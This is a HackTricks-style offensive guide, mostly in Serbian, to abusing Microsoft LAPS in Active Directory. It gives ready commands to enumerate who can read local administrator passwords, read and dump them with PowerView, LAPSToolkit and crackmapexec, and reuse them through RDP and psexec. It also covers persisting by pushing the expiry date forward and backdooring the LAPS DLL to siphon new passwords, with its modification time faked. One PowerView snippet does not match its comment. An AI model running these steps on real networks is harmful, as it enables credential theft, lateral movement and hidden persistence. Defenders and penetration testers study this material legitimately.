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130 lines
6.9 KiB
Markdown
130 lines
6.9 KiB
Markdown
# LAPS
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{{#include ../../banners/hacktricks-training.md}}
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## Osnovne informacije
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Local Administrator Password Solution (LAPS) je alat koji se koristi za upravljanje sistemom gde se **lozinke administratora**, koje su **jedinstvene, nasumične i često menjane**, primenjuju na računarima pridruženim domenu. Ove lozinke se sigurno čuvaju unutar Active Directory i dostupne su samo korisnicima kojima je odobrena dozvola putem Access Control Lists (ACLs). Bezbednost prenosa lozinki od klijenta do servera obezbeđena je korišćenjem **Kerberos verzije 5** i **Advanced Encryption Standard (AES)**.
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U objektima računara domena, implementacija LAPS-a rezultira dodavanjem dva nova atributa: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Ovi atributi čuvaju **lozinku administratora u običnom tekstu** i **vreme isteka**, redom.
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### Proverite da li je aktivirano
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```bash
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reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
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dir "C:\Program Files\LAPS\CSE"
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# Check if that folder exists and contains AdmPwd.dll
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# Find GPOs that have "LAPS" or some other descriptive term in the name
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Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
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# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
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Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
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```
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### LAPS Password Access
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Možete **preuzeti sirovu LAPS politiku** sa `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` i zatim koristiti **`Parse-PolFile`** iz [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketa da konvertujete ovu datoteku u format koji je čitljiv za ljude.
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Pored toga, **nativni LAPS PowerShell cmdleti** mogu se koristiti ako su instalirani na mašini kojoj imamo pristup:
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```bash
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Get-Command *AdmPwd*
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CommandType Name Version Source
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----------- ---- ------- ------
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Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
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Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
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Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
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Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
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Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
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Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
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Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
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Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
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# List who can read LAPS password of the given OU
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Find-AdmPwdExtendedRights -Identity Workstations | fl
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# Read the password
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Get-AdmPwdPassword -ComputerName wkstn-2 | fl
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```
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**PowerView** se takođe može koristiti da se sazna **ko može da pročita lozinku i pročita je**:
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```bash
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# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
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Get-AdmPwdPassword -ComputerName wkstn-2 | fl
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# Read the password
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Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
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```
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### LAPSToolkit
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The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) olakšava enumeraciju LAPS-a sa nekoliko funkcija.\
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Jedna od njih je parsiranje **`ExtendedRights`** za **sve računare sa omogućenim LAPS-om.** Ovo će prikazati **grupe** specifično **delegirane za čitanje LAPS lozinki**, koje su često korisnici u zaštićenim grupama.\
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**Nalog** koji je **pridružio računar** domenu dobija `All Extended Rights` nad tim hostom, a ovo pravo daje **nalogu** mogućnost da **čita lozinke**. Enumeracija može prikazati korisnički nalog koji može čitati LAPS lozinku na hostu. Ovo može pomoći da **ciljamo specifične AD korisnike** koji mogu čitati LAPS lozinke.
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```bash
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# Get groups that can read passwords
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Find-LAPSDelegatedGroups
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OrgUnit Delegated Groups
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------- ----------------
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OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
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OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
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# Checks the rights on each computer with LAPS enabled for any groups
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# with read access and users with "All Extended Rights"
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Find-AdmPwdExtendedRights
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ComputerName Identity Reason
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------------ -------- ------
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MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
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MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
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# Get computers with LAPS enabled, expirations time and the password (if you have access)
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Get-LAPSComputers
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ComputerName Password Expiration
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------------ -------- ----------
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DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
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```
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## **Dumping LAPS Passwords With Crackmapexec**
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Ako nema pristupa powershell-u, možete zloupotrebiti ovu privilegiju daljinski putem LDAP-a koristeći
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```
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crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
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```
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Ovo će izlistati sve lozinke koje korisnik može da pročita, omogućavajući vam da dobijete bolju poziciju sa drugim korisnikom.
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## ** Korišćenje LAPS lozinke **
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```
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xfreerdp /v:192.168.1.1:3389 /u:Administrator
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Password: 2Z@Ae)7!{9#Cq
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python psexec.py Administrator@web.example.com
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Password: 2Z@Ae)7!{9#Cq
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```
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## **LAPS Persistencija**
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### **Datum isteka**
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Kada postanete administrator, moguće je **dobiti lozinke** i **sprečiti** mašinu da **ažurira** svoju **lozinku** tako što ćete **postaviti datum isteka u budućnost**.
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```bash
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# Get expiration time
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Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
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# Change expiration time
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## It's needed SYSTEM on the computer
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Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
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```
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> [!WARNING]
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> Lozinka će se i dalje resetovati ako **admin** koristi **`Reset-AdmPwdPassword`** cmdlet; ili ako je omogućena opcija **Ne dozvoli vreme isteka lozinke duže od onog što zahteva politika** u LAPS GPO.
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### Backdoor
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Izvorni kod za LAPS se može naći [ovde](https://github.com/GreyCorbel/admpwd), stoga je moguće staviti backdoor u kod (unutar `Get-AdmPwdPassword` metode u `Main/AdmPwd.PS/Main.cs`, na primer) koji će na neki način **ekstraktovati nove lozinke ili ih čuvati negde**.
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Zatim, samo kompajlirajte novi `AdmPwd.PS.dll` i otpremite ga na mašinu u `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (i promenite vreme modifikacije).
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## References
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- [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
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{{#include ../../banners/hacktricks-training.md}}
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